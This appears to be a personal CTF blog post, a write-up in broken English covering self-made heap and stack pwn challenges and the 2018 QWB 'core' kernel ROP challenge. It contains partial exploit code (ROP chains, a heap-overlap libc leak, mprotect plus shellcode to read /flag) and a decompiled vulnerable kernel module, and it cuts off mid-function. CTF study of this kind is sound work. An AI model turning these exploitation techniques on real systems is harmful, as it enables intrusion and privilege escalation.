pwn 进阶（2）

pwn improve（2）

0x01 plan1（produce vulnerable program ）

my important jop is to Debugger。

pwn1（20200315）

this topic is anther lgd，the topic i produced before。

[key point]：

1.heap overlap
2.seccomp
3.rop
4.shellcode

wp：

there is a heap overlap in the add function,and the program oper sesscomp，my solution is use the heap overlap to leak libc base，and then attack to malloc_hook, rop to read function，call mprotect to open bss segment’s Executive authority，finally pour shellcode into bss and cat flag.

damn weekend，all my time has been used for it.I want happiness.

exp（main part）：

#----------rop---------------------------------------------
	payload=p64(0x400ee6)+p64(0)+p64(0)+p64(1)+p64(read_got)
	payload+= p64(0x200)+p64(bss)+p64(0)+p64(mov_rdx_r13)
	payload+= 'a'*0x10+p64(bss+8)+p64(0)*4+p64(leave)

# leak libc------------------------------------

	new(0x10,'a'*0x60) #0
	new(0x10,'b'*0x60) #1
	new(0xa8,'b')#2
	new(0x10,'b'*0x100)#3
	new(0x68,'b')#4
	new(0x10,'b')#5
	read_content(0,'a'*0x10+'\0'*0x8+'\xd1'+'\0'*7)
	delete(1)
	new(0x10,'a'*0x60)
	libc = u64(write(2)[:6]+'\0\0')

#----------change bss pro-----------------------------------------------
	payload = p64(0)*2+p64(prdi)+p64(0x602000)+p64(prsi)+p64(0x2000)+p64(prdx)+p64(7)+p64(mprotect)+p64(0x6034f0)+p64(0)*0x8
	payload += asm(shellcraft.amd64.linux.cat('/flag'))
	payload += asm('''
	jmp $
	''')
	

My advance is debug rop return to shellcode.It took a long time, but it was finally transferred out. My heart is very deep,happy yeah.

pwn2（20200316）

This topic’s reverse is very difficult for some freshmen.

[Examination questions]：

1.canary bypass
2.rop

wp

rop

exp（main part ）：

p.sendline(str(pop_rdi))
p.sendline('+')
p.sendline(str(put_got))
p.sendline(str(0))
p.sendline(str(put_plt))
p.sendline(str(0))
p.sendline(str(0x401632))

the topic seems like a heap vul ,however it is a stack overlap,but i still made some traps to close their heart hhhhha,who knows it can work or not? liu la liu la,it is time to do my homework.

0x02 plan2 (kernal rop and ret2user)(20200317)

kernel ROP

2018 强网杯 - core

First of all ，let’s collect some useful commands:

ropper --file ./vmlinux --nocolor > g1
ROPgadget --binary ./vmlinux > g2
./extract-vmlinux ./bzImage > vmlinux
mkdir core
gunzip ./core.cpio.gz 
cpio -idm < ./core.cpio

next we check init file

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2 
insmod /core.ko

setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\n'
umount /proc
umount /sys

poweroff -d 0  -f

what the hell it is? We care more about three commands.

cat /proc/kallsyms > /tmp/kallsyms
This command copy kallsyms to /tmp/kallsyms,so that we can find the address of the function of commit_creds,prepare_kernel_cred in /tmp/kallsym.Commit_creds (prepare kernel cred (0)) is the most commonly used method for priviledge promotion. The addresses of both functions can be viewed in / proc / kallsyms.

echo 1 > /proc/sys/kernel/kptr_restrict
When kptr_restrict is set to 0 (the default) the address is hashed before
printing. (This is the equivalent to %p.).When kptr_restrict is set to (1), kernel pointers printed using the %pK format specifier will be replaced with 0.Therefore,we can not through /proc/kallsyms to
see the information of commit_creds and prepare_kernel_cred.But it is ok because last command has copy the information to tmp/kallsyms.

echo 1 > /proc/sys/kernel/dmesg_restrict
It means we cannot use dmesg to check information of the kernel.
Besides above commands ,there is an important command,that is 
poweroff -d 120 -f &
to achieve our goal ，we cut out this command from init.

After we modify init, we repackage it and try to run kernel.

udhcpc: lease of 10.0.2.15 obtained, lease time 86400
/ $ ls
bin          dev          init         linuxrc      sbin         usr
core.cpio    etc          lib          proc         sys          vmlinux
core.ko      gen_cpio.sh  lib64        root         tmp
/ $ lsmod
core 16384 0 - Live 0x0000000000000000 (O)
/ $ 

and we checksec the core.io ,it has canary protection.

Further analysis with IDA.

init_module() registered / proc / core

__int64 init_module()
{
   
  core_proc = proc_create("core", 438LL, 0LL, &core_fops);
  printk(&unk_2DE);
  return 0LL;
}

and exit_core() delete /proc/core

__int64 exit_core()
{
   
  __int64 result; // rax

  if ( core_proc )
    result = remove_proc_entry("core");
  return result;
}

core_ioctl defines three command,core_read,set off and core_copy_func.

__int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
{
   
  __int64 v3; // rbx

  v3 = a3;
  switch ( a2 )
  {
   
    case 1719109787:
      core_read(a3);
      break;
    case 1719109788:
      printk(&unk_2CD);
      off = v3;
      break;
    case 1719109786:
      printk(&unk_2B3);
      core_copy_func(v3);
      break;
  }
  return 0LL;
}

we analysis core_read function and find core_read() copies 64 bytes from v5 + off to user space. we can control off to leak canary and some other useful address information.

unsigned __int64 __fastcall core_read(__int64 a1)
{
   
  __int64 v1; // rbx
  __int64 *v2; // rdi
  signed __int64 i; // rcx
  unsigned __int64 result; // rax
  __int64 v5; // [rsp+0h] [rbp-50h]
  unsigned __int64 v6; // [rsp+40h] [rbp-10h]
  v1 = a1;
  v6 = __readgsqword(0x28u);
  printk(&unk_25B);
  printk(&unk_275);
  v2 = &v5;
  for ( i = 16LL; i; --i )
  {
   
    *(_DWORD *)v2 = 0;
    v2 = (__int64 *)((char *)v2 + 4);
  }
  strcpy((char *)&v5, "Welcome to the QWB CTF challenge.\n");
  result = copy_to_user(v1, (char *)&v5 + off, 64LL);
    // here is the main code.
  if ( !result )
    return __readgsqword(0x28u) ^ v6;
  __asm {
    swapgs }
  return result;
}

now we analysis the vul function core_copy_func.

In this function,we find qmemcpy(&v2, &name, (unsigned __int16)a1),copy data to v2 from name,and the a1 we can control.as the size ,a1 is unsigned type,but as the function arguments,it is signed,so if we introduced a nagetive number ,we can cause a stack overlap.

signed __int64 __fastcall core_copy_func(signed __int64 a1)
{
   
  signed __int64 result; // rax
  __int64 v2; // [rsp+0h] [rbp-50h]
  unsigned __int64 v3; // [rsp+40h] [rbp-10h]

  v3 = __readgsqword(